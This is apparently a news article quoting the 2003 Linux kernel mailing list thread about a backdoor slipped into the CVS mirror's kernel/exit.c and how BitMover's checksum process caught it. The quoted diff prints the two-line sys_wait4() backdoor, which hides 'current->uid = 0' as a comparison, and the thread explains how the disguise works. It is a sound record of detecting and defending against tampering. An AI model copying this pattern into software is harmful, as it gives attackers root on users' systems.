In a post earlier today to the Linux kernel mailing list [1], BitMover founder Larry McVoy [interview [1]] commented, "Somebody has modified the CVS tree on kernel.bkbits.net directly. Dave looked at the machine and it looked like someone may have been trying to break in and do it." The modified file was 'kernel/exit.c', modified directly on the CVS mirror of the 2.6-test development kernel tree [forum [1]]. The CVS logs erroneously "credited" kernel hacker David Miller for the changes.
Examining the two lines of inserted code a little closer, it became quite apparent that this was a blatent attempt to insert a back door into the Linux kernel that could have been used to illegitimately become the 'root' superuser on a Linux server. Andreas Dilger pointed out that had the change gone undetected "it might have taken a good while to find".
Linux creator Linus Torvalds was quick to point out that the distributed design of BitKeeper helps to make it a fairly secure solution. In describing the reasons why, he said, "One of them is that if somebody were to actually access the BK trees directly, that would be noticed immediately: when I push to the places I export from, the push itself would fail due to having an unexpected changeset in the target that I don't have on my local tree." He went on to add, "I think it's telling that it was the CVS tree and not the BK tree that somebody tried to corrupt."
Larry then explained how the BitKeeper-to-CVS gateway is designed to prevent accidental or intentional modifications. He described a four step process that includes making an internal duplicate of the CVS tree and running a checksum on all modified files to compare and verify. He adds, "It's worth mentioning that it would be close to impossible to add the same change to BK unnoticed. It's possible but the accountability would be a lot better and the bad user could be tarred and feathered." He went on to suggest that a new feature of allowing one to sign changesets with GPG will be added soon, "so that you can at least be assured that all the stuff in BK is either flagged trusted or untrusted."
From: Larry McVoy [1] [email blocked]
To: linux-kernel
Subject: BK2CVS problem
Date: Wed, 5 Nov 2003 12:45:22 -0800
Somebody has modified the CVS tree on kernel.bkbits.net directly. Dave looked
at the machine and it looked like someone may have been trying to break in and
do it.
We've fixed the file in question, the conversion is done back here at BitMover
and after we transfer the files we check them and make sure they are OK and
this file got flagged.
The CVS tree is fine, you might want to remove and update exit.c to make sure
you have the current version in your tree however.
The problem file is kernel/exit.c which has a few extra entries like so:
revision 1.121
date: 2003/11/04 16:44:19; author: davem; state: Exp; lines: +58 -0
Oops, I worked on the the wrong file, fixed again.
----------------------------
revision 1.120
date: 2003/11/04 16:42:00; author: davem; state: Exp; lines: +0 -58
*** empty log message ***
----------------------------
revision 1.119
date: 2003/11/04 16:22:47; author: davem; state: Exp; lines: +2 -0
*** empty log message ***
----------------------------
revision 1.118
date: 2003/10/27 19:50:03; author: torvalds; state: Exp; lines: +11 -5
Fix ZOMBIE race with self-reaping threads.
exit_notify() used to leave a window open when a thread
died that made the thread visible as a ZOMBIE even though
the thread reaped itself. This closes that window by marking
the thread DEAD within the tasklist_lock.
(Logical change 1.14141)
----------------------------
Notice how the top 3 do not have the (Logical change X.YZ) at the end?
That is a pointer so you can figure out the changeset boundaries and
it is added back here during the conversion process. The file here is
fine which leads me to believe that someone modified the file either on
kernel.bkbits.net or managed to get in through the pserver. Dave swears
up and down that it wasn't him so if anyone can step forward and claim
responsibility that would be nice.
It's not a big deal, we catch stuff like this, but it's annoying to the
CVS users.
--
---
Larry McVoy lm at bitmover.com http://www.bitmover.com/lm [2]
From: Matthew Dharm [email blocked]
Subject: Re: BK2CVS problem
Date: Wed, 5 Nov 2003 12:58:13 -0800
Out of curiosity, what were the changed lines?
Matt
--
Matthew Dharm Home: mdharm-usb@one-eyed-alien.net [3]
Maintainer, Linux USB Mass Storage Driver
Oh great modem, why hast thou forsaken me?
-- Dust Puppy
User Friendly, 3/2/1998
From: Larry McVoy [3] [email blocked]
Subject: Re: BK2CVS problem
Date: Wed, 5 Nov 2003 14:23:02 -0800
On Wed, Nov 05, 2003 at 12:58:13PM -0800, Matthew Dharm wrote:
> Out of curiosity, what were the changed lines?
--- GOOD 2003-11-05 13:46:44.000000000 -0800
+++ BAD 2003-11-05 13:46:53.000000000 -0800
@@ -1111,6 +1111,8 @@
schedule();
goto repeat;
}
+ if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
+ retval = -EINVAL;
retval = -ECHILD;
end_wait4:
current->state = TASK_RUNNING;
--
---
Larry McVoy lm at bitmover.com http://www.bitmover.com/lm [4]
From: Zwane Mwaikambo [email blocked]
Subject: Re: BK2CVS problem
Date: Wed, 5 Nov 2003 17:33:40 -0500 (EST)
That looks odd
From: Andries Brouwer [email blocked]
Subject: Re: BK2CVS problem
Date: Wed, 5 Nov 2003 23:51:34 +0100
Not if you hope to get root.
From: "Chad Kitching" [email blocked]
Subject: RE: BK2CVS problem
Date: Wed, 5 Nov 2003 16:48:09 -0600
From: Zwane Mwaikambo
> > + if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
> > + retval = -EINVAL;
>
> That looks odd
>
Setting current->uid to zero when options __WCLONE and __WALL are set? The
retval is dead code because of the next line, but it looks like an attempt
to backdoor the kernel, does it not?
From: Larry McVoy [4] [email blocked]
Subject: Re: BK2CVS problem
Date: Wed, 5 Nov 2003 15:03:50 -0800
> Setting current->uid to zero when options __WCLONE and __WALL are set? The
> retval is dead code because of the next line, but it looks like an attempt
> to backdoor the kernel, does it not?
It sure does. Note "current->uid = 0", not "current->uid == 0".
Good eyes, I missed that. This function is sys_wait4() so by passing in
__WCLONE|__WALL you are root. How nice.
--
---
Larry McVoy lm at bitmover.com http://www.bitmover.com/lm [5]
From: Tomas Szepe [email blocked]
Subject: Re: BK2CVS problem
Date: Thu, 6 Nov 2003 01:52:24 +0100
On Nov-05 2003, Wed, 15:03 -0800
Larry McVoy [email blocked] wrote:
Also note the extra parentheses to avoid a gcc warning.
--
Tomas Szepe [email blocked]
From: Andreas Dilger [email blocked]
Subject: Re: BK2CVS problem
Date: Wed, 5 Nov 2003 18:57:13 -0700
On Nov-05 2003, Wed, 15:03 -0800
Larry McVoy [email blocked] wrote:
> It sure does. Note "current->uid = 0", not "current->uid == 0".
> Good eyes, I missed that. This function is sys_wait4() so by passing in
> __WCLONE|__WALL you are root. How nice.
First of all, thanks Larry for detecting this. Your paranoia that made
you add extra checks on the export of data (also evident in the BK
checksums everywhere) probably saved Linux as a whole a lot of grief.
Had something like this been submarined into the kernel without any
review it might have taken a good while to find, even though it wasn't
in the BK repository itself. Are the incremental kernel patches on
kernel.org or anything else built from the BKCVS gateway?
Granted that this was not a break in BK itself the event is still alarming.
It makes me wonder if there is some way we can start using GPG signatures
with BK itself so that you can get proof-positive that a CSET annotated
as from davem really is from the David Miller we know and trust.
Cheers, Andreas
--
Andreas Dilger
http://sourceforge.net/projects/ext2resize/ [6]
http://www-mddsp.enel.ucalgary.ca/People/adilger/ [7]
From: Linus Torvalds [email blocked]
Subject: Re: BK2CVS problem
Date: Wed, 5 Nov 2003 18:20:31 -0800 (PST)
On Wed, 5 Nov 2003, Andreas Dilger wrote:
>
> Granted that this was not a break in BK itself the event is still alarming.
> It makes me wonder if there is some way we can start using GPG signatures
> with BK itself so that you can get proof-positive that a CSET annotated
> as from davem really is from the David Miller we know and trust.
A few things do make the current system _fairly_ secure. One of them is
that if somebody were to actually access the BK trees directly, that would
be noticed immediately: when I push to the places I export from, the push
itself would fail due to having an unexpected changeset in the target that
I don't have on my local tree. So I'd notice that kind of stuff
immediately.
And that's likely to be true of all other BK users too: the public trees
are just replicas of the trees people actually _work_ on, so if the public
tree has something unexpected, trying to update them just won't work. You
just can't push to a tree that isn't a subset of what you already have.
So any BK corruption would have to come from the private trees, not the
public ones. Which tend to be better secured, exactly because they are
private (ie they don't have things like cvspserver etc public servers). I
suspect most of us have firewalls that just don't accept any incoming
connections - I know I do.
I think it's telling that it was the CVS tree and not the BK tree that
somebody tried to corrupt.
Linus
From: Larry McVoy [7] [email blocked]
Subject: Re: BK2CVS problem
Date: Wed, 5 Nov 2003 19:01:25 -0800
On Wed, Nov 05, 2003 at 06:57:13PM -0700, Andreas Dilger wrote:
> First of all, thanks Larry for detecting this. Your paranoia that made
> you add extra checks on the export of data (also evident in the BK
> checksums everywhere) probably saved Linux as a whole a lot of grief.
Thanks for noticing that, it makes the extra work worth it, it really does.
For those of you wondering what this is about, the way the export works is:
a) get a BK tree on an internal BitMover machine
b) export that to a CVS tree on an internal BitMover machine
c) copy the updated files to kernel.bkbits.net's CVS tree
d) checksum the tree on kernel.bkbits.net and here and compare them
All of this is done out of cron with mail sent if there is a problem,
which is what caught this difference. If we weren't trained to trust
noone then this problem would have gone unnoticed and the CVS users could
have sent in a patch that included this trojan horse and compromised
Linux.
It's worth mentioning that it would be close to impossible to add the
same to change to BK unnoticed. It's possible but the accountability
would be a lot better and the bad user could be tarred and feathered.
> Had something like this been submarined into the kernel without any
> review it might have taken a good while to find, even though it wasn't
> in the BK repository itself. Are the incremental kernel patches on
> kernel.org or anything else built from the BKCVS gateway?
It's possible but I doubt it. I've verified 30 seconds ago that the
change is not in in Linus' BK tree. We run these comparisons every night
(and I'm going to increase that after we reinstall the machine). So I
noticed this this morning and had the tree fixed this afternoon; I suppose
people could complain that it should have been sooner but I was running
tests to make sure it was not some problem in the BK2CVS exporter code.
Even with the delay, the problem was identified and corrected in less
than 24 hours. That doesn't leave a lot of time to have the problem
get into the real release tree.
> Granted that this was not a break in BK itself the event is still alarming.
> It makes me wonder if there is some way we can start using GPG signatures
> with BK itself so that you can get proof-positive that a CSET annotated
> as from davem really is from the David Miller we know and trust.
I couldn't agree more, we've thought about this and have a design,
but credit where credit is due, Ted T'so is the driving force behind
this idea. He and I have had long discussions about this and we have a
plan to do exactly that in BK. I've already told Linus that we can add
that to BK, and will, in the free version, so that you can at least be
assured that all the stuff in BK is either flagged trusted or untrusted.
We think that is an excellent idea, we want to do it, but we were waiting
for some event to trigger it. We've been berated publicaly for each
and every change we've made to the free version of BK so now we wait
for people to ask for changes and then we'll make them. Just say the
word and we'll code this up as soon as we can.
--
---
Larry McVoy lm at bitmover.com http://www.bitmover.com/lm [8]
Related Links:
- Archive of above thread [9]
- KernelTrap interview with Larry McVoy [9]